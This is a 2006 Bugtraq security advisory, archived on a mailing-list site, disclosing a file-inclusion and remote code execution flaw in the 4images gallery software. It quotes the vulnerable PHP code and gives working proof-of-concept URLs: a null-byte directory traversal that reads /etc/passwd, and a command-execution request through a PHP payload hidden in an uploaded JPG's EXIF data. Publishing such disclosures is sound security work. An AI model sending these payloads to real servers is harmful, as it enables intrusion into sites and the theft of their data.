bugtraq - 4images <=1.7.1 remote code execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 1 Mar 2006 18:31:47 -0000
From: rgod@...istici.org
To: bugtraq@...urityfocus.com
Subject: 4images <=1.7.1 remote code execution


----------------- 4images <=1.7.1 remote code execution ------------------------
software:
site: http://www.4homepages.de/
--------------------------------------------------------------------------------
i)
vulnerable code in index.php at line 35-54:

...
if (isset($HTTP_GET_VARS['template']) || isset($HTTP_POST_VARS['template'])) {
  $template = (isset($HTTP_GET_VARS['template'])) ? stripslashes(trim($HTTP_GET_VARS['template'])) : stripslashes(trim($HTTP_POST_VARS['template']));
  if (!file_exists(TEMPLATE_PATH."/".$template.".".$site_template->template_extension)) {
    $template = "";
  }
  else {
    $main_template = $template;
  }
}
else {
  $template = "";
}
include(ROOT_PATH.'includes/page_header.php');
if (!empty($template)) {
  $clickstream = "<a href=\"".$site_sess->url(ROOT_PATH."index.php")."\">".$lang['home']."</a>".$config['category_separator'].str_replace("_", " ", ucfirst($template));
  $site_template->register_vars("clickstream", $clickstream);
  $site_template->print_template($site_template->parse_template($main_template));
  include(ROOT_PATH.'includes/page_footer.php');
}
...

poc:

http://[target]/[path]/index.php?template=../../../../../../../../../../../etc/passwd%00

This is regardless of magic_quotes_gpc settings because we have stripslashes on
"template" argument (this is exploitable on PHP 4, because file_exists()
function suffers of null char injection...)
File comptemt is passed to an eval() in includes/template.php, so it is
evaluated as php code.

Also we can upload malicious php code through 4images functionalities inside a
.jpg file with well crafted EXIF metadata comtempt.
Example of remote code execution:

http://[target]/[path]/index.php?cmd=ls%0-la&template=../../data/tmp_media/suntzu1293.jpg%00

a php exploit tool availiable here:

http://retrogod.altervista.org/4images_171_incl_xpl.html

--------------------------------------------------------------------------------
still a note about:

http://secunia.com/advisories/19026/

Secunia wrote: "Input passed to the "template" parameter in "index.php" isn't
properly verified, before it is used to include files. This can be exploited to
include files having the template file extension (".html") from local resources
via directory traversal attacks"

and classified it as low risk... this is true on PHP5 but not on PHP4 where you
can break the .html extension by a null char

--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici.org
original advisory: http://retrogod.altervista.org/4images_171_adv.html
--------------------------------------------------------------------------------